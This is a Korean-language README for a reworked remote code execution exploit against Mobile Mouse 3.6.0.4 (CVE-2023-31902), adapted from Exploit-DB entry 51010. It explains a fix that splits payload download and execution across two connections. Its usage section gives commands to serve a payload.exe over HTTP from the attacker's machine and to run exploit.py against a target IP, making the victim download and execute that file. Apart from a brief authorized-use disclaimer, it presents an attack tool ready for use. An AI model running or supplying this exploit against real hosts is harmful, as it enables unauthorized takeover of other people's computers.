Mobile Mouse 3.6.0.4 RCE - 수정

EDB-51010(https://www.exploit-db.com/exploits/51010)으로 공개된 Mobile Mouse 3.6.0.4 원격 코드 실행 익스플로잇의 수정된 버전입니다.

취약점

• CVE: CVE-2023-31902
• 영향받는 버전: Mobile Mouse 3.6.0.4
• 기본 포트: TCP/9099

수정된 내용

원본 익스플로잇은 페이로드를 성공적으로 다운로드하지만 두 단계가 동일한 TCP 연결을 사용하기 때문에 실행에 실패할 수 있습니다.

이 버전은 다음과 같습니다:

• 첫 번째 세션을 통해 페이로드를 다운로드합니다
• 다운로드가 완료될 때까지 기다립니다
• 새 연결을 엽니다
• Mobile Mouse 핸드셰이크를 반복합니다
• 다운로드한 페이로드를 실행합니다

또한 sendall(), 적절하게 이스케이프된 Windows 경로, 소켓 타임아웃 및 기본 오류 처리를 사용합니다.

사용법

페이로드 디렉터리에서 HTTP 서버를 시작합니다:

python3 -m http.server 8080

익스플로잇을 실행합니다:

python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe

면책 조항

이 프로젝트는 공인된 보안 테스트와 교육 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.